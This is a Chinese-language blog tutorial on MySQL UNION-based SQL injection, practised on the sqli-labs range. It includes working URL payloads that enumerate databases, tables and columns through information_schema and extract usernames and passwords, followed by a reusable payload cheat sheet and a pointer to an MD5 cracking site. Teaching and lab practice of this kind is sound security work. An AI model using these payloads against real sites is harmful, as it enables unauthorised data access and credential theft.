MYSQL联合注入

SQL注入存在的条件:

  1、具备与数据库交互的条件。

  2、用户端可以控制输入内容。

  3、没有对用户的输入内容做一定程度的过滤。

 

根据请求方式分类:

  1、GET方式请求注入:常见产生位置url。

  2、Post方式请求注入:常见产生位置post包的请求实体。

 

根据注入点参数方式分类:

  1、数字型:select uname , password from users where uid=$id

  2、字符型:select uname , password from users where uid=’$id’

  3、搜索型:select uname , password from users where name like ’%$id%’

 

SQL闭合符号判断:

在url地址栏的尾部加上不同组合的 ', ", '", "', )', )", )'", )"',等等....根据页面的报错内容判断闭合符号!以sql-lib靶场讲解

 

 

上图的id=2,我们可以通过id=2-1,是否为数字型的。如果是数字型的会发生变化,那么就没有闭合符号。

 

 

上图很显然页面没有发生变化,那么就不是数字型的而是字符型,那么就要去猜闭合符号是什么了。

我们通过在原url的尾部加上不同的闭合符合去测试页面, ', ", '", "', )', )", )'", )"',等等....一个个组合试

上图页面报错了,说明闭合符号是单引号 '  ,判断闭合符号之后那么,下一步就是去判断有多少列!!!

 

 

SQL判断列数:

判断列数这里使用order by 函数去判断,判断可以使用二分法的原则,100,50,25,10,5缩小或增加为原来值得一半

注:判断出闭合符号后,后面就需要加上-- - 注释符了,因为需要把后面的闭合符号注释掉

 

 

上面6报错了,下一次判断3,如果3不报错,那么在去判断一下4

 

 

这里判断出来3没报错,4缺报错了,说明只有3列!!

 

 

SQL寻找显示位:

找显示位是为了把查询结果在页面可显示的位置输出来,让我们自己看到数据union select 1,2,3 -- -

因为是3列,所每一列需要一个占位符,1,2,3  或者union select  8,'p','w' -- -都行,只是为了占个位置

 

 

在上图,看到发现没有显示8,p,w ,说明只一个结果集的显示位,这里需要把id=1的结果集变为空。

 也就是把让id=x的结果找不到,让id=一个不存在的值,id=-1或者是id=999999,看下两图!!

通过以上两图,判断出显示是p和w的位置!!

 

 

开始查找数据库相关信息:

在mysql5.0后的版本中开始出现information_scheam库,然后里面最重要的是三个表TABLES、SCHEMATA、COLUMNS !!!!!!

TABLES:存放着所有表名的相关信息,包括哪个表属于哪个数据库,什么类型等等.....

 

 

SCHEMATA:存放着所有数据库的名字的信息

 

 

COLUMNS:存放着所有的列名,包括哪个列属于哪个表,哪个数据库等相关信息

 

 

起手点:

information_schema库包含非常多的东西,所以测完前面的步骤之后下一步应当判断数据库版本

通过确定版本信息来判断是否可以通过information_schema获取数据

如果数据库中没有information_schema库,那么无法通过该库去间接查询相关信息

所以在这里先确定数据库版本信息,函数:version(),从下图得到数据库版本信息

 

 

查询所有数据库的名字:

 group_concat()的作用是一个将多行结果合并成一行,这里没有这个函数的话,后面的不会一起查出来,只会出一个

 group_concat(参数1,参数2,参数3) ,0x7e是ASCII的十六进制的符号 ~ ,拿来当分割,以免搞混。

 这里查所有数据库,而schemata表里面的schema_name字段就是存放所有的数据库名!在 information_schema 下schemata表

 ?id=9999' union select 8,'p',(select group_concat(0x7e,(schema_name),0x7e)from information_schema.schemata) -- -

 

 

 

查询某个数据库中的所有表:

下面这里查询的是security数据库中所有的表名

?id=9999' union select 8,'p',(select group_concat(0x7e,(table_name),0x7e)from information_schema.tables where table_schema='security') -- -

 

 

查询某个数据库中某个表的所有列名:

 这里查询的是security数据库中users表的所有列名

?id= 9999' union select 8,'p',(select group_concat(0x7e,(column_name),0x7e) from information_schema.columns where table_schema='security' and table_name='users') -- -

 

 

 

 读取某个表里某列的数据内容:

 通过前面的一系列操作,知道了数据库的名字,表的名字,以及列的名字,下面读取users表里的用户名username数据

 读取用户名  ?id= 9999' union select 8,'p',(select group_concat(0x7e,(username),0x7e)from users) -- -

Your Password:这个词是页面写死了的,不要误会,后面的都是用户名!!!

 

 

读取密码  ?id= 9999' union select 8,'p',(select group_concat(0x7e,(password),0x7e)from users) -- -

Your Password:这个词是页面写死了的,不要误会,后面的都是用户的密码,上面的是用户名这里对应的是密码!!!

 

 

 数据库如下,对比上面2个图可以看出来结果。然后这里数据库是没有对用户的密码进行MD5加密的

 如果加密了的话还需要拿着加密的数据去解密,在线MD5解密平台:https://www.cmd5.com/

 

 

 总结知识点:

  01、判断闭合符号的一系列组合拳 ', ", '", "', )', )", )'", )"',等等...

  02、判断出是字符型还是数字型尤为重要,数字型就不需要闭合符号了

  03、union的使用要列数一致,假设是3列的话,必须 union select 1,2,3 (一个符号代表一列,不能落空)

  04、order by 判断出列数才能结合union一起使用,列数判断不出来,就会导致union的使用报错!

  05、information_schema库是mysql数据库5.0版本后才出现的,5.0之前没有,5.0之前多用户单操作,5.0之后多用户多操作

  06、group_concat(参数1,参数2,参数3) 这个函数是将多行结果变成一行。没有使用这个函数的话,只能读取出一个结果

  07、函数:version()数据库版本、当前数据库的名字database()、当前数据库用户名user()、等等....

  08、information_schema>>>tables>>>table_name字段(存放所有的表名),table_schema字段(记录了表是属于哪个数据库的)

  09、information_schema>>>schemata>>>schema_name字段(记录了所有的数据库名字)

  10、information_schema>>>columns>>>columns_name字段(记录所有的列名)

  11、Mysql -> user表存放当前数据库的账户信息

 

  查所有的数据库名字:

  ?id=9999' union select 8,'p',(select group_concat(0x7e,(schema_name),0x7e)from information_schema.schemata) -- - 

  

  查某数据库下的所有表名:

  ?id=9999' union select 8,'p',(select group_concat(0x7e,(table_name),0x7e)from information_schema.tables where table_schema='某库') -- -

    

   查某数据库下某表的所有列名:

?id= 9999' union select 8,'p',(select group_concat(0x7e,(column_name),0x7e) from information_schema.columns where table_schema='某库名' and table_name='某表名') -- -

   

  查某表下某列的所有具体数据:

  ?id= 9999' union select 8,'p',(select group_concat(0x7e,(‘某列名’),0x7e)from ‘某表名’) -- -

 

 

   UP主的心声:麻烦右下角点亿下赞,谢谢!!!

  注:本文乃原创搬运请注明出处!文章有些地方可能描述的不是很清楚,请以自身实践为准!

  联系:QQ1027683809    原文出处:https://www.cnblogs.com/PatrickStar88888888/p/15140712.html 

 

 

posted @ 2021-08-14 13:56  PatrickStar88888888  阅读(149)  评论(0编辑  收藏  举报